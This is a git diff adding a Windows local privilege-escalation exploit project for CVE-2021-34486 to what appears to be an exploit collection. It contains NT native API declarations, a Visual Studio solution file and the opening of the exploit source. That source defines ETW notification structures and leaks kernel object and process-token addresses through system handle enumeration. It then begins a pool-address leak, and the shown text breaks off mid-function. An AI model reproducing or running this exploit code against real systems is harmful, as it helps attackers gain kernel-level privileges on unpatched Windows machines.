+NTSTATUS NTAPI NtFlushBuffersFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock + ); + +NTSTATUS NTAPI NtSetInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + __in_bcount(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass + ); + +NTSTATUS NTAPI NtDeleteFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtOpenEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtOpenKeyedEvent( + _Out_ PHANDLE KeyedEventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtOpenSemaphore( + _Out_ PHANDLE SemaphoreHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryEvent( + _In_ HANDLE EventHandle, + _In_ EVENT_INFORMATION_CLASS EventInformationClass, + _Out_ PVOID EventInformation, + _In_ ULONG EventInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtOpenEventPair( + _Out_ PHANDLE EventPairHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +//TmTx +NTSTATUS NTAPI NtCreateTransaction( + _Out_ PHANDLE TransactionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ LPGUID Uow, + _In_opt_ HANDLE TmHandle, + _In_opt_ ULONG CreateOptions, + _In_opt_ ULONG IsolationLevel, + _In_opt_ ULONG IsolationFlags, + _In_opt_ PLARGE_INTEGER Timeout, + _In_opt_ PUNICODE_STRING Description + ); + +NTSTATUS NTAPI NtRollbackTransaction( + _In_ HANDLE TransactionHandle, + _In_ BOOLEAN Wait); + +//TmRm +NTSTATUS NTAPI NtCreateResourceManager( + _Out_ PHANDLE ResourceManagerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE TmHandle, + _In_opt_ LPGUID ResourceManagerGuid, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG CreateOptions, + _In_opt_ PUNICODE_STRING Description + ); + +//TmEn +NTSTATUS NTAPI NtCreateEnlistment( + _Out_ PHANDLE EnlistmentHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE ResourceManagerHandle, + _In_ HANDLE TransactionHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG CreateOptions, + _In_ NOTIFICATION_MASK NotificationMask, + _In_opt_ PVOID EnlistmentKey + ); + +//TmTm +NTSTATUS NTAPI NtCreateTransactionManager( + _Out_ PHANDLE TmHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PUNICODE_STRING LogFileName, + _In_opt_ ULONG CreateOptions, + _In_opt_ ULONG CommitStrength + ); + +NTSTATUS NTAPI NtCreateFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_opt_ PLARGE_INTEGER AllocationSize, + _In_ ULONG FileAttributes, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_opt_ PVOID EaBuffer, + _In_ ULONG EaLength + ); + +NTSTATUS NTAPI NtDeviceIoControlFile( + _In_ HANDLE FileHandle, + _In_ HANDLE Event, + _In_ PIO_APC_ROUTINE ApcRoutine, + _In_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG IoControlCode, + _In_ PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_ PVOID OutputBuffer, + _In_ ULONG OutputBufferLength + ); + +NTSTATUS NTAPI NtFsControlFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG FsControlCode, + _In_opt_ PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_opt_ PVOID OutputBuffer, + _In_ ULONG OutputBufferLength + ); + +NTSTATUS NTAPI NtCreateUserProcess( + _Out_ PHANDLE ProcessHandle, + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK ProcessDesiredAccess, + _In_ ACCESS_MASK ThreadDesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ProcessObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ThreadObjectAttributes, + _In_ ULONG ProcessFlags, + _In_ ULONG ThreadFlags, + _In_opt_ PVOID ProcessParameters, + _Inout_ PPS_CREATE_INFO CreateInfo, + _In_opt_ PPS_ATTRIBUTE_LIST AttributeList + ); + +NTSTATUS NTAPI NtOpenProcess( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PCLIENT_ID ClientId + ); + +NTSTATUS NTAPI NtTerminateProcess( + _In_opt_ HANDLE ProcessHandle, + _In_ NTSTATUS ExitStatus + ); + +NTSTATUS NTAPI NtSuspendProcess( + _In_ HANDLE ProcessHandle + ); + +NTSTATUS NTAPI NtResumeProcess( + _In_ HANDLE ProcessHandle + ); + +NTSTATUS NTAPI NtSuspendThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount + ); + +NTSTATUS NTAPI NtResumeThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount + ); + +NTSTATUS NTAPI NtOpenThread( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PCLIENT_ID ClientId + ); + +NTSTATUS NTAPI NtTerminateThread( + _In_opt_ HANDLE ThreadHandle, + _In_ NTSTATUS ExitStatus + ); + +NTSTATUS NTAPI NtImpersonateThread( + _In_ HANDLE ServerThreadHandle, + _In_ HANDLE ClientThreadHandle, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos + ); + +NTSTATUS NTAPI NtSetContextThread( + _In_ HANDLE ThreadHandle, + _In_ PCONTEXT ThreadContext + ); + +NTSTATUS NTAPI NtGetContextThread( + _In_ HANDLE ThreadHandle, + _Inout_ PCONTEXT ThreadContext + ); + +NTSTATUS NTAPI NtQueryInformationThread( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _Out_ PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtSetInformationThread( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _In_ PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength + ); + +NTSTATUS NTAPI NtQueryInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _Out_ PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtSetInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _In_count_(ProcessInformationLength) PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength + ); + +NTSTATUS NTAPI NtDuplicateObject( + _In_ HANDLE SourceProcessHandle, + _In_ HANDLE SourceHandle, + _In_opt_ HANDLE TargetProcessHandle, + _Out_ PHANDLE TargetHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Options + ); + +NTSTATUS NTAPI NtSetSecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +NTSTATUS NTAPI NtQuerySecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _Out_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ULONG Length, + _Out_ PULONG LengthNeeded + ); + +NTSTATUS NTAPI NtQueryLicenseValue( + _In_ PUNICODE_STRING ValueName, + _Out_opt_ PULONG Type, + _Out_writes_bytes_to_opt_(DataSize, *ResultDataSize) PVOID Data, + _In_ ULONG DataSize, + _Out_ PULONG ResultDataSize +); + +NTSTATUS NtCreateIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG Count + ); + +NTSTATUS NTAPI NtCreateEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ EVENT_TYPE EventType, + _In_ BOOLEAN InitialState + ); + +NTSTATUS NTAPI NtSetEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState + ); + +NTSTATUS NTAPI NtAllocateVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID *BaseAddress, + _In_ ULONG_PTR ZeroBits, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG AllocationType, + _In_ ULONG Protect + ); + +NTSTATUS NTAPI NtFreeVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG FreeType + ); + +NTSTATUS NTAPI NtQueryVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_ MEMORY_INFORMATION_CLASS MemoryInformationClass, + _Out_ PVOID MemoryInformation, + _In_ SIZE_T MemoryInformationLength, + _Out_opt_ PSIZE_T ReturnLength + ); + +NTSTATUS NTAPI NtReadVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _Out_ PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesRead + ); + +NTSTATUS NTAPI NtWriteVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ VOID *Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesWritten + ); + +NTSTATUS NTAPI NtProtectVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG NewProtect, + _Out_ PULONG OldProtect + ); + +NTSTATUS NTAPI NtEnumerateKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_opt_ PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + +NTSTATUS NTAPI NtCreatePort( + _Out_ PHANDLE PortHandle, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG MaxConnectionInfoLength, + _In_ ULONG MaxMessageLength, + _In_ ULONG MaxPoolUsage + ); + +NTSTATUS NTAPI NtCompleteConnectPort( + _In_ HANDLE PortHandle + ); + +NTSTATUS NTAPI NtListenPort( + _In_ HANDLE PortHandle, + _Out_ PPORT_MESSAGE ConnectionRequest + ); + +NTSTATUS NTAPI NtReplyPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE ReplyMessage + ); + +NTSTATUS NTAPI NtReplyWaitReplyPort( + _In_ HANDLE PortHandle, + _Inout_ PPORT_MESSAGE ReplyMessage + ); + +NTSTATUS NTAPI NtRequestPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE RequestMessage + ); + +NTSTATUS NTAPI NtRequestWaitReplyPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE RequestMessage, + _Out_ PPORT_MESSAGE ReplyMessage + ); + +NTSTATUS NTAPI NtClosePort( + _In_ HANDLE PortHandle + ); + +NTSTATUS NTAPI NtReplyWaitReceivePort( + _In_ HANDLE PortHandle, + _Out_opt_ PVOID *PortContext, + _In_opt_ PPORT_MESSAGE ReplyMessage, + _Out_ PPORT_MESSAGE ReceiveMessage + ); + +NTSTATUS NTAPI NtWriteRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _In_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG NumberOfBytesWritten + ); + +NTSTATUS NTAPI NtReadRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG NumberOfBytesRead + ); + +NTSTATUS NTAPI NtConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _Inout_opt_ PPORT_VIEW ClientView, + _Out_opt_ PREMOTE_PORT_VIEW ServerView, + _Out_opt_ PULONG MaxMessageLength, + _Inout_opt_ PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength + ); + +NTSTATUS NTAPI NtAcceptConnectPort( + _Out_ PHANDLE PortHandle, + _In_opt_ PVOID PortContext, + _In_ PPORT_MESSAGE ConnectionRequest, + _In_ BOOLEAN AcceptConnection, + _Inout_opt_ PPORT_VIEW ServerView, + _Out_opt_ PREMOTE_PORT_VIEW ClientView); + +typedef +VOID +(*PPS_APC_ROUTINE) ( + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3); + +NTSTATUS NTAPI NtQueueApcThread( + _In_ HANDLE ThreadHandle, + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3); + +NTSTATUS NTAPI NtWaitForSingleObject( + _In_ HANDLE Handle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout); + +NTSTATUS NTAPI NtYieldExecution( + VOID); + +NTSTATUS NTAPI NtCreateMailslotFile( + _Out_ PHANDLE FileHandle, + _In_ ULONG DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CreateOptions, + _In_ ULONG MailslotQuota, + _In_ ULONG MaximumMessageSize, + _In_ PLARGE_INTEGER ReadTimeout); + +NTSTATUS NTAPI NtSecureConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _Inout_opt_ PPORT_VIEW ClientView, + _In_opt_ PSID RequiredServerSid, + _Inout_opt_ PREMOTE_PORT_VIEW ServerView, + _Out_opt_ PULONG MaxMessageLength, + _Inout_opt_ PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength); + +NTSTATUS NTAPI NtEnumerateBootEntries( + _Out_ PVOID Buffer, + _Inout_ PULONG BufferLength); + +NTSTATUS NTAPI NtPrivilegeCheck( + _In_ HANDLE ClientToken, + _Inout_ PPRIVILEGE_SET RequiredPrivileges, + _Out_ PBOOLEAN Result + ); + +NTSTATUS NTAPI NtCreateProcessEx( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ParentProcess, + _In_ ULONG Flags, + _In_opt_ HANDLE SectionHandle, + _In_opt_ HANDLE DebugPort, + _In_opt_ HANDLE ExceptionPort, + _In_ BOOLEAN InJob); + +NTSTATUS NTAPI NtCreateThreadEx( + _Out_ PHANDLE hThread, + _In_ ACCESS_MASK DesiredAccess, + _In_ LPVOID ObjectAttributes, + _In_ HANDLE ProcessHandle, + _In_ LPTHREAD_START_ROUTINE lpStartAddress, + _In_ LPVOID lpParameter, + _In_ BOOL CreateSuspended, + _In_ DWORD StackZeroBits, + _In_ DWORD SizeOfStackCommit, + _In_ DWORD SizeOfStackReserve, + _Out_ LPVOID lpBytesBuffer); diff --git a/00-CVE_EXP/CVE-2021-34486/CVE-2021-34486.sln b/00-CVE_EXP/CVE-2021-34486/CVE-2021-34486.sln new file mode 100644 index 0000000..eb97795 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-34486/CVE-2021-34486.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.32002.261 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2021-34486", "CVE-2021-34486\CVE-2021-34486.vcxproj", "{93026D75-A5DB-4EED-9E28-46512569D052}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {93026D75-A5DB-4EED-9E28-46512569D052}.Debug|x64.ActiveCfg = Debug|x64 + {93026D75-A5DB-4EED-9E28-46512569D052}.Debug|x64.Build.0 = Debug|x64 + {93026D75-A5DB-4EED-9E28-46512569D052}.Debug|x86.ActiveCfg = Debug|Win32 + {93026D75-A5DB-4EED-9E28-46512569D052}.Debug|x86.Build.0 = Debug|Win32 + {93026D75-A5DB-4EED-9E28-46512569D052}.Release|x64.ActiveCfg = Release|x64 + {93026D75-A5DB-4EED-9E28-46512569D052}.Release|x64.Build.0 = Release|x64 + {93026D75-A5DB-4EED-9E28-46512569D052}.Release|x86.ActiveCfg = Release|Win32 + {93026D75-A5DB-4EED-9E28-46512569D052}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {ACD55B58-1D28-4FCF-9F93-04B481902108} + EndGlobalSection +EndGlobal diff --git a/00-CVE_EXP/CVE-2021-34486/CVE-2021-34486/CVE-2021-34486.cpp b/00-CVE_EXP/CVE-2021-34486/CVE-2021-34486/CVE-2021-34486.cpp new file mode 100644 index 0000000..06122de --- /dev/null +++ b/00-CVE_EXP/CVE-2021-34486/CVE-2021-34486/CVE-2021-34486.cpp @@ -0,0 +1,928 @@ + +#pragma once +#include +#include +#include +#include +#include +#include +#include + +#include + +#include + +#include +#include +#include +//#include +#include +#pragma comment(lib, "ntdll.lib") +//#include + +typedef struct _ETWP_NOTIFICATION_HEADER +{ + /* 0x0000 */ enum _ETW_NOTIFICATION_TYPE NotificationType; + /* 0x0004 */ unsigned long NotificationSize; + /* 0x0008 */ long RefCount; + /* 0x000c */ unsigned char ReplyRequested; + union + { + /* 0x0010 */ unsigned long ReplyIndex; + /* 0x0010 */ unsigned long Timeout; + }; /* size: 0x0004 */ + union + { + /* 0x0014 */ unsigned long ReplyCount; + /* 0x0014 */ unsigned long NotifyeeCount; + }; /* size: 0x0004 */ + union + { + /* 0x0018 */ unsigned __int64 ReplyHandle; + /* 0x0018 */ void* ReplyObject; + /* 0x0018 */ unsigned long RegIndex; + }; /* size: 0x0008 */ + /* 0x0020 */ unsigned long TargetPID; + /* 0x0024 */ unsigned long SourcePID; + /* 0x0028 */ struct _GUID DestinationGuid; + /* 0x0038 */ struct _GUID SourceGuid; +} ETWP_NOTIFICATION_HEADER, * PETWP_NOTIFICATION_HEADER; /* size: 0x0048 */ + +typedef enum _ETW_FUNCTION_CODE +{ + EtwFunctionStartTrace = 1, + EtwFunctionStopTrace = 2, + EtwFunctionQueryTrace = 3, + EtwFunctionUpdateTrace = 4, + EtwFunctionFlushTrace = 5, + EtwFunctionIncrementTraceFile = 6, + + EtwFunctionRealtimeConnect = 11, + EtwFunctionWdiDispatchControl = 13, + EtwFunctionRealtimeDisconnectConsumerByHandle = 14, + EtwFunctionReceiveNotification = 16, + EtwFunctionTraceEnableGuid = 17, // EtwTraceNotifyGuid + EtwFunctionSendReplyDataBlock = 18, + EtwFunctionReceiveReplyDataBlock = 19, + EtwFunctionWdiUpdateSem = 20, + EtwFunctionGetTraceGuidList = 21, + EtwFunctionGetTraceGuidInfo = 22, + EtwFunctionEnumerateTraceGuids = 23, + // EtwFunction??? = 24, + EtwFunctionQueryReferenceTime = 25, + EtwFunctionTrackProviderBinary = 26, + EtwFunctionAddNotificationEvent = 27, + EtwFunctionUpdateDisallowList = 28, + EtwFunctionUseDescriptorTypeUm = 31, + EtwFunctionGetTraceGroupList = 32, + EtwFunctionGetTraceGroupInfo = 33, + EtwFunctionGetDisallowList = 34, + EtwFunctionSetCompressionSettings = 35, + EtwFunctionGetCompressionSettings = 36, + EtwFunctionUpdatePeriodicCaptureState = 37, + EtwFunctionGetPrivateSessionTraceHandle = 38, + EtwFunctionRegisterPrivateSession = 39, + EtwFunctionQuerySessionDemuxObject = 40, + EtwFunctionSetProviderBinaryTracking = 41, +} ETW_FUNCTION_CODE; + +#define SystemBigPoolInformation 0x42 +#define ThreadNameInformation 0x26 + +#define DATA_TO_COPY "AAAAAAAAAAAAABBBBBBBBBBBBBBBCCCCCCCCCCCCCCCDDDDDDDDDDDDDDD" + +typedef struct _ETW_UPDATE_PERIODIC_CAPTURE_STATE +{ + UINT32 LoggerId; + UINT32 DueTime; //system time units (100-nanosecond intervals) + UINT32 NumOfGuids; + GUID Guids[ANYSIZE_ARRAY]; +} ETW_UPDATE_PERIODIC_CAPTURE_STATE, * PETW_UPDATE_PERIODIC_CAPTURE_STATE; + + +typedef struct _TRACE_ENABLE_CONTEXT +{ + USHORT LoggerId; + UCHAR Level; + UCHAR InternalFlag; + ULONG EnableFlags; +} TRACE_ENABLE_CONTEXT, * PTRACE_ENABLE_CONTEXT; + +typedef enum _ETW_NOTIFICATION_TYPE +{ + EtwNotificationTypeNoReply = 1, + EtwNotificationTypeLegacyEnable = 2, + EtwNotificationTypeEnable = 3, + EtwNotificationTypePrivateLogger = 4, + EtwNotificationTypePerflib = 5, + EtwNotificationTypeAudio = 6, + EtwNotificationTypeSession = 7, + EtwNotificationTypeReserved = 8, + EtwNotificationTypeCredentialUI = 9, + EtwNotificationTypeInProcSession = 10, + EtwNotificationTypeMax = 11, +} ETW_NOTIFICATION_TYPE; + + +typedef struct _ETW_ENABLE_NOTIFICATION_PACKET +{ + ETWP_NOTIFICATION_HEADER DataBlockHeader; + TRACE_ENABLE_INFO EnableInfo; + TRACE_ENABLE_CONTEXT LegacyEnableContext; + ULONG LegacyProviderEnabled; + ULONG FilterCount; +} ETW_ENABLE_NOTIFICATION_PACKET, * PETW_ENABLE_NOTIFICATION_PACKET; + +EXTERN_C +NTSTATUS +WINAPI +NtTraceControl( + DWORD Operation, + LPVOID InputBuffer, + DWORD InputSize, + LPVOID OutputBuffer, + DWORD OutputSize, + LPDWORD BytesReturned +); + +EXTERN_C +ULONG +EtwNotificationRegister( + LPCGUID Guid, + ULONG Type, + PVOID Callback, + PVOID Context, + REGHANDLE* RegHandle +); +#define MAXIMUM_FILENAME_LENGTH 255 +#define SystemModuleInformation 0xb +#define SystemHandleInformation 0x10 + +#define LOGFILE_PATH L"C:\\Users\\Public\\test.etl" +#define LOGSESSION_NAME L"My Event Trace Session" + +typedef NTSTATUS(WINAPI* _NtQuerySystemInformation)( + SYSTEM_INFORMATION_CLASS SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength); + + +typedef NTSTATUS(NTAPI* _NtWriteVirtualMemory)( + HANDLE ProcessHandle, + void* BaseAddress, + const void* SourceBuffer, + size_t Length, + size_t* BytesWritten); + + +//_NtQuerySystemInformation fnNtQuerySystemInformation; + + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { + USHORT UniqueProcessId; + USHORT CreatorBackTraceIndex; + UCHAR ObjectTypeIndex; + UCHAR HandleAttributes; + USHORT HandleValue; + PVOID Object; + ULONG GrantedAccess; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + + +typedef struct _SYSTEM_HANDLE_INFORMATION { + ULONG NumberOfHandles; + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; +} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; + + +DWORD64 GetKernelPointer(HANDLE handle, DWORD type) +{ + PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20); + + DWORD outBuffer = 0; + NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer); + + if (status == (NTSTATUS)0xC0000004L) + { + free(buffer); + buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(outBuffer); + status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer); + } + + if (!buffer) + { + printf("[-] NtQuerySystemInformation error \n"); + return 0; + } + + for (size_t i = 0; i < buffer->NumberOfHandles; i++) + { + DWORD objTypeNumber = buffer->Handles[i].ObjectTypeIndex; + + if (buffer->Handles[i].UniqueProcessId == GetCurrentProcessId() && buffer->Handles[i].ObjectTypeIndex == type) + { + if (handle == (HANDLE)buffer->Handles[i].HandleValue) + { + DWORD64 object = (DWORD64)buffer->Handles[i].Object; + free(buffer); + return object; + } + } + } + printf("[-] handle not found\n"); + free(buffer); + return 0; +} +#define ThreadNameInformation 0x26 + +// mimic nt!UNICODE_STRING +// sizeof(UNICODE_STRING) must be 0x10 for the syscall to succeed. + + +typedef NTSTATUS(*fnNtSetInformationThreadPtr)(HANDLE threadHandle, THREADINFOCLASS threadInformationClass, PVOID threadInformation, ULONG threadInformationLength); + +//typedef NTSTATUS(*fnNtSetInformationFile)(HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation,ULONG Length,int FileInformationClass); +// +// +//typedef NTSTATUS(*fnNtQueryInformationFile)(HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation, ULONG Length, int FileInformationClass); + + +#define FileBasicInformation 4 +#define FileStandardInformation 5 +#define FilePositionInformation 14 +#define FileEndOfFileInformation 20 + + +typedef NTSTATUS(WINAPI* pNtQueryInformationFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, int); + + +typedef NTSTATUS(WINAPI* pNtSetInformationFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, int); + +typedef NTSTATUS(WINAPI* pNtSetEaFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG); + + +fnNtSetInformationThreadPtr NtSetInformationThread = nullptr; + +pNtSetInformationFile NtSetInformationFile = nullptr; + +pNtQueryInformationFile NtQueryInformationFile = nullptr; + +pNtSetEaFile NtSetEaFile = nullptr; + +#define ThreadNameInformation 0x26 + +int fnExploit(int lpParameter) +{ + + + do + { + Sleep(0x500000); + + + } while (true); + + +} + + +typedef struct +{ + DWORD64 Address; + DWORD64 PoolSize; + char PoolTag[4]; + char Padding[4]; +} BIG_POOL_INFO, * PBIG_POOL_INFO; +typedef struct _FILE_BASIC_INFORMATION { + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + ULONG FileAttributes; +} FILE_BASIC_INFORMATION, * PFILE_BASIC_INFORMATION; + +typedef struct _FILE_FULL_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR Flags; + UCHAR EaNameLength; + USHORT EaValueLength; + CHAR EaName[1]; +} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION; + +LPVOID ntoskrnlBase = nullptr; +DWORD64 LeakEporcessKtoken() +{ + + LPVOID drivers[1024] = {}; + DWORD cbNeeded = NULL; + ntoskrnlBase = nullptr; + if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) + { + if (drivers[0]) + { + ntoskrnlBase = drivers[0]; + printf("[-] ntoskrnlBase=%p\n", ntoskrnlBase); + } + } + else + { + printf("[-] EnumDeviceDrivers failed; array size needed is %d\n", cbNeeded / sizeof(LPVOID)); + } + + HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId()); + if (!proc) + { + printf("[-] OpenProcess failed\n"); + return 0; + } + + HANDLE token = 0; + if (!OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token)) + { + printf("[-] OpenProcessToken failed\n"); + return 0; + } + + DWORD64 ktoken = 0; + for (int i = 0; i < 0x100; i++) + { + ktoken = GetKernelPointer(token, 0x5); + + if (ktoken != NULL) + { + break; + } + + } + return ktoken; +} + + + + +DWORD64 LeakTheadNamePoolAddr(DWORD64 ktoken) +{ + DWORD dwThreadID = 0; + + HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)fnExploit, 0, 0, &dwThreadID); + + printf("[-] hTread==%p,dwThreadID==%d\n", hThread, dwThreadID); + + USHORT dwSize = 4096; + + LPVOID lpMessageToStore = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_READWRITE); + + + memset(lpMessageToStore, 0x41, 0x20); + + //BitMapHeader->SizeOfBitMap + 